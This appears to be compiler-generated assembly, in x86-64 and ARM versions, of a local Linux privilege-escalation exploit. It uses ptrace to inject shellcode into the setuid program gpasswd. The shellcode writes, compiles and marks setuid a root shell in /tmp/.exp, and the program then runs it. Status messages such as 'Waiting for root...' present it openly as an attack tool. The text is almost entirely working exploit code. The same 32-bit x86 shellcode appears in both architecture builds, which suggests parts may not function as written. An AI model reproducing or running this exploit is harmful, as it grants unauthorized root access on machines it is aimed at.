	.file	"41044.c"
	.intel_syntax noprefix
	.text
	.globl	shellcode
	.data
	.align 32
	.type	shellcode, @object
	.size	shellcode, 248
shellcode:
	.string	"jFX1\3331\311\315\200\353!_j\013X\231Rfh-c\211\346Rh//shh/bin\211\343RWVS\211\341\315\200\350\332\377\377\377echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;"
	.section	.rodata
.LC0:
	.string	"/usr/bin/gpasswd"
.LC1:
	.string	"\n[-] Attach"
.LC2:
	.string	"\n[-] read registers"
.LC3:
	.string	"[+] EIP - 0x%08lx\n"
.LC4:
	.string	"\n[-] write shellcode"
.LC5:
	.string	"[+] Waiting for root..."
.LC6:
	.string	"/tmp/.exp"
	.align 8
.LC7:
	.string	"[+] Executing suid shell /tmp/.exp..."
.LC8:
	.string	"[-] Damn no r00t here :("
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 336
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, .LC0[rip]
	mov	QWORD PTR -176[rbp], rax
	mov	QWORD PTR -168[rbp], 0
	call	fork@PLT
	mov	DWORD PTR -324[rbp], eax
	cmp	DWORD PTR -324[rbp], 0
	jne	.L2
	mov	rax, QWORD PTR -176[rbp]
	lea	rcx, -176[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	rdi, rax
	call	execve@PLT
	mov	edi, 0
	call	exit@PLT
.L2:
	mov	eax, DWORD PTR -324[rbp]
	mov	ecx, 0
	mov	edx, 0
	mov	esi, eax
	mov	edi, 16
	mov	eax, 0
	call	ptrace@PLT
	cmp	rax, -1
	jne	.L3
	lea	rdi, .LC1[rip]
	call	puts@PLT
	mov	edi, 0
	call	exit@PLT
.L3:
	mov	edi, 0
	call	wait@PLT
	lea	rdx, -304[rbp]
	mov	eax, DWORD PTR -324[rbp]
	mov	rcx, rdx
	mov	edx, 0
	mov	esi, eax
	mov	edi, 12
	mov	eax, 0
	call	ptrace@PLT
	cmp	rax, -1
	jne	.L4
	lea	rdi, .LC2[rip]
	call	puts@PLT
	mov	edi, 0
	call	exit@PLT
.L4:
	mov	rax, QWORD PTR -224[rbp]
	mov	rsi, rax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -224[rbp]
	mov	QWORD PTR -312[rbp], rax
	lea	rax, shellcode[rip]
	mov	QWORD PTR -320[rbp], rax
	mov	DWORD PTR -328[rbp], 0
	jmp	.L5
.L7:
	mov	rax, QWORD PTR -320[rbp]
	lea	rdx, 8[rax]
	mov	QWORD PTR -320[rbp], rdx
	mov	rdx, QWORD PTR [rax]
	mov	rax, QWORD PTR -312[rbp]
	lea	rcx, 8[rax]
	mov	QWORD PTR -312[rbp], rcx
	mov	esi, DWORD PTR -324[rbp]
	mov	rcx, rdx
	mov	rdx, rax
	mov	edi, 4
	mov	eax, 0
	call	ptrace@PLT
	cmp	rax, -1
	jne	.L6
	lea	rdi, .LC4[rip]
	call	puts@PLT
	mov	edi, 0
	call	exit@PLT
.L6:
	add	DWORD PTR -328[rbp], 4
.L5:
	mov	eax, DWORD PTR -328[rbp]
	cmp	eax, 246
	jbe	.L7
	mov	eax, DWORD PTR -324[rbp]
	mov	ecx, 0
	mov	edx, 0
	mov	esi, eax
	mov	edi, 7
	mov	eax, 0
	call	ptrace@PLT
	mov	eax, DWORD PTR -324[rbp]
	mov	ecx, 0
	mov	edx, 0
	mov	esi, eax
	mov	edi, 17
	mov	eax, 0
	call	ptrace@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	edi, 2
	call	sleep@PLT
	lea	rax, -160[rbp]
	mov	rsi, rax
	lea	rdi, .LC6[rip]
	call	stat@PLT
	test	eax, eax
	jne	.L8
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	esi, 0
	lea	rdi, .LC6[rip]
	call	execv@PLT
	jmp	.L9
.L8:
	lea	rdi, .LC8[rip]
	call	puts@PLT
.L9:
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L11
	call	__stack_chk_fail@PLT
.L11:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"41044.c"
	.text
	.global	shellcode
	.data
	.align	2
	.type	shellcode, %object
	.size	shellcode, 248
shellcode:
	.ascii	"jFX1\3331\311\315\200\353!_j\013X\231Rfh-c\211\346R"
	.ascii	"h//shh/bin\211\343RWVS\211\341\315\200\350\332\377\377"
	.ascii	"\377echo \"#include <stdio.h>\012main(){setuid(0);i"
	.ascii	"f(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\"
	.ascii	"\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /"
	.ascii	"tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tm"
	.ascii	"p/.exp;exit;\000"
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/usr/bin/gpasswd\000"
	.align	2
.LC1:
	.ascii	"\012[-] Attach\000"
	.align	2
.LC2:
	.ascii	"\012[-] read registers\000"
	.align	2
.LC3:
	.ascii	"[+] EIP - 0x%08lx\012\000"
	.align	2
.LC4:
	.ascii	"\012[-] write shellcode\000"
	.align	2
.LC5:
	.ascii	"[+] Waiting for root...\000"
	.align	2
.LC6:
	.ascii	"/tmp/.exp\000"
	.align	2
.LC7:
	.ascii	"[+] Executing suid shell /tmp/.exp...\000"
	.align	2
.LC8:
	.ascii	"[-] Damn no r00t here :(\000"
	.align	2
.LC9:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 192
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #192
	ldr	r3, .L12
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L12+4
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-12]
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-180]
	ldr	r3, [fp, #-180]
	cmp	r3, #0
	bne	.L2
	ldr	r3, [fp, #-16]
	sub	r1, fp, #16
	mov	r2, #0
	mov	r0, r3
	bl	execve
	mov	r0, #0
	bl	exit
.L2:
	mov	r3, #0
	mov	r2, #0
	ldr	r1, [fp, #-180]
	mov	r0, #16
	bl	ptrace
	mov	r3, r0
	cmn	r3, #1
	bne	.L3
	ldr	r0, .L12+8
	bl	puts
	mov	r0, #0
	bl	exit
.L3:
	mov	r0, #0
	bl	wait
	sub	r3, fp, #176
	mov	r2, #0
	ldr	r1, [fp, #-180]
	mov	r0, #12
	bl	ptrace
	mov	r3, r0
	cmn	r3, #1
	bne	.L4
	ldr	r0, .L12+12
	bl	puts
	mov	r0, #0
	bl	exit
.L4:
	ldr	r3, [fp, #-128]
	mov	r1, r3
	ldr	r0, .L12+16
	bl	printf
	ldr	r3, [fp, #-128]
	str	r3, [fp, #-184]
	ldr	r3, .L12+20
	str	r3, [fp, #-188]
	mov	r3, #0
	str	r3, [fp, #-192]
	b	.L5
.L7:
	ldr	r2, [fp, #-184]
	add	r3, r2, #4
	str	r3, [fp, #-184]
	ldr	r3, [fp, #-188]
	add	r1, r3, #4
	str	r1, [fp, #-188]
	ldr	r3, [r3]
	ldr	r1, [fp, #-180]
	mov	r0, #4
	bl	ptrace
	mov	r3, r0
	cmn	r3, #1
	bne	.L6
	ldr	r0, .L12+24
	bl	puts
	mov	r0, #0
	bl	exit
.L6:
	ldr	r3, [fp, #-192]
	add	r3, r3, #4
	str	r3, [fp, #-192]
.L5:
	ldr	r3, [fp, #-192]
	cmp	r3, #246
	bls	.L7
	mov	r3, #0
	mov	r2, #0
	ldr	r1, [fp, #-180]
	mov	r0, #7
	bl	ptrace
	mov	r3, #0
	mov	r2, #0
	ldr	r1, [fp, #-180]
	mov	r0, #17
	bl	ptrace
	ldr	r0, .L12+28
	bl	puts
	mov	r0, #2
	bl	sleep
	sub	r3, fp, #108
	mov	r1, r3
	ldr	r0, .L12+32
	bl	stat
	mov	r3, r0
	cmp	r3, #0
	bne	.L8
	ldr	r0, .L12+36
	bl	puts
	mov	r1, #0
	ldr	r0, .L12+32
	bl	execv
	b	.L9
.L8:
	ldr	r0, .L12+40
	bl	puts
.L9:
	mov	r3, #0
	ldr	r2, .L12
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L11
	bl	__stack_chk_fail
.L11:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L13:
	.align	2
.L12:
	.word	.LC9
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	shellcode
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
